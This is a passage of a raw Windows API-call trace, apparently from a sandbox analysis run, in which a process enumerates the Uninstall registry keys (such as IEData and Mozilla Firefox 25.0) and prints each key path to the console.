dwIndex=0x8, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.075] __iob_func () returned 0x7fefd702a80 [0149.076] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.076] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n") returned 92 [0149.076] _fileno (_File=0x7fefd702ab0) returned 1 [0149.076] _errno () returned 0x204bb0 [0149.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.076] _errno () returned 0x204bb0 [0149.076] GetFileType (hFile=0x50) returned 0x1 [0149.076] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n") returned 92 [0149.076] GetConsoleOutputCP () returned 0x1b5 [0149.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n", cchWideChar=92, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 92 [0149.076] GetConsoleOutputCP () returned 0x1b5 [0149.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n", cchWideChar=92, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n", lpUsedDefaultChar=0x0) returned 92 [0149.076] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 92 [0149.076] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.076] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.076] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.076] GetProcessHeap () returned 0x3c0000 [0149.076] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.076] __iob_func () returned 0x7fefd702a80 [0149.076] _fileno (_File=0x7fefd702ab0) returned 1 [0149.076] _errno () returned 0x204bb0 [0149.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.076] _errno () returned 0x204bb0 [0149.076] GetFileType (hFile=0x50) returned 0x1 [0149.076] lstrlenW (lpString="\n") returned 1 [0149.076] GetConsoleOutputCP () returned 0x1b5 [0149.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.077] GetConsoleOutputCP () returned 0x1b5 [0149.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.077] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.077] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.077] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned 91 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xba) returned 0x3df260 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.077] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260) returned 1 [0149.077] GetProcessHeap () returned 0x3c0000 [0149.077] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df260) returned 0xba [0149.077] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260 | out: hHeap=0x3c0000) returned 1 [0149.077] RegCloseKey (hKey=0x5c) returned 0x0 [0149.078] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x9, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.078] __iob_func () returned 0x7fefd702a80 [0149.078] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.078] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n") returned 90 [0149.078] _fileno (_File=0x7fefd702ab0) returned 1 [0149.078] _errno () returned 0x204bb0 [0149.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.078] _errno () returned 0x204bb0 [0149.078] GetFileType (hFile=0x50) returned 0x1 [0149.078] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n") returned 90 [0149.078] GetConsoleOutputCP () returned 0x1b5 [0149.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n", cchWideChar=90, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 90 [0149.078] GetConsoleOutputCP () returned 0x1b5 [0149.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n", cchWideChar=90, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n", lpUsedDefaultChar=0x0) returned 90 [0149.078] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 90 [0149.078] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.078] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.078] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.078] GetProcessHeap () returned 0x3c0000 [0149.078] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.078] __iob_func () returned 0x7fefd702a80 [0149.078] _fileno (_File=0x7fefd702ab0) returned 1 [0149.078] _errno () returned 0x204bb0 [0149.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.078] _errno () returned 0x204bb0 [0149.078] GetFileType (hFile=0x50) returned 0x1 [0149.078] lstrlenW (lpString="\n") returned 1 [0149.079] GetConsoleOutputCP () returned 0x1b5 [0149.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.079] GetConsoleOutputCP () returned 0x1b5 [0149.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.079] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.079] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.079] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned 89 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb6) returned 0x3df260 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.079] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.079] GetProcessHeap () returned 0x3c0000 [0149.080] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260) returned 1 [0149.080] GetProcessHeap () returned 0x3c0000 [0149.080] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df260) returned 0xb6 [0149.080] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260 | out: hHeap=0x3c0000) returned 1 [0149.080] RegCloseKey (hKey=0x5c) returned 0x0 [0149.080] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xa, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.080] __iob_func () returned 0x7fefd702a80 [0149.080] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.080] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n") returned 100 [0149.080] _fileno (_File=0x7fefd702ab0) returned 1 [0149.080] _errno () returned 0x204bb0 [0149.080] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.080] _errno () returned 0x204bb0 [0149.080] GetFileType (hFile=0x50) returned 0x1 [0149.080] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n") returned 100 [0149.080] GetConsoleOutputCP () returned 0x1b5 [0149.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0149.080] GetConsoleOutputCP () returned 0x1b5 [0149.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n", cchWideChar=100, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n", lpUsedDefaultChar=0x0) returned 100 [0149.080] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 100 [0149.080] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.080] RegOpenKeyExW (in: hKey=0x58, lpSubKey="MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.081] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.081] GetProcessHeap () returned 0x3c0000 [0149.081] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.081] __iob_func () returned 0x7fefd702a80 [0149.081] _fileno (_File=0x7fefd702ab0) returned 1 [0149.081] _errno () returned 0x204bb0 [0149.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.081] _errno () returned 0x204bb0 [0149.081] GetFileType (hFile=0x50) returned 0x1 [0149.081] lstrlenW (lpString="\n") returned 1 [0149.081] GetConsoleOutputCP () returned 0x1b5 [0149.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.081] GetConsoleOutputCP () returned 0x1b5 [0149.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.082] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.082] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.082] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.082] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.082] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned 99 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xca) returned 0x3df260 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.082] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260) returned 1 [0149.082] GetProcessHeap () returned 0x3c0000 [0149.082] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df260) returned 0xca [0149.082] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df260 | out: hHeap=0x3c0000) returned 1 [0149.082] RegCloseKey (hKey=0x5c) returned 0x0 [0149.082] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xb, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0 (x86 en-US)", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.082] __iob_func () returned 0x7fefd702a80 [0149.082] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.083] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)\n") returned 116 [0149.083] _fileno (_File=0x7fefd702ab0) returned 1 [0149.083] _errno () returned 0x204bb0 [0149.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.083] _errno () returned 0x204bb0 [0149.083] GetFileType (hFile=0x50) returned 0x1 [0149.083] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)\n") returned 116 [0149.083] GetConsoleOutputCP () returned 0x1b5 [0149.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)\n", cchWideChar=116, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 116 [0149.083] GetConsoleOutputCP () returned 0x1b5 [0149.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)\n", cchWideChar=116, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)\n", lpUsedDefaultChar=0x0) returned 116 [0149.083] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 116 [0149.083] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.083] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Mozilla Firefox 25.0 (x86 en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.083] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0xc, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.083] GetProcessHeap () returned 0x3c0000 [0149.083] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c00 [0149.083] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.083] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x44) returned 0x0 [0149.083] GetProcessHeap () returned 0x3c0000 [0149.083] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x46) returned 0x3d9d00 [0149.083] GetProcessHeap () returned 0x3c0000 [0149.083] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.083] GetProcessHeap () returned 0x3c0000 [0149.083] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x46 [0149.084] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x44 | out: pdwType=0x29f700*=0x1, pvData="Mozilla Firefox 25.0 (x86 en-US)", pcbData=0x29f780*=0x42) returned 0x0 [0149.084] __iob_func () returned 0x7fefd702a80 [0149.084] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.084] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.084] _fileno (_File=0x7fefd702ab0) returned 1 [0149.084] _errno () returned 0x204bb0 [0149.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.084] _errno () returned 0x204bb0 [0149.084] GetFileType (hFile=0x50) returned 0x1 [0149.084] lstrlenW (lpString=" ") returned 4 [0149.084] GetConsoleOutputCP () returned 0x1b5 [0149.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.084] GetConsoleOutputCP () returned 0x1b5 [0149.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.084] fflush (in: 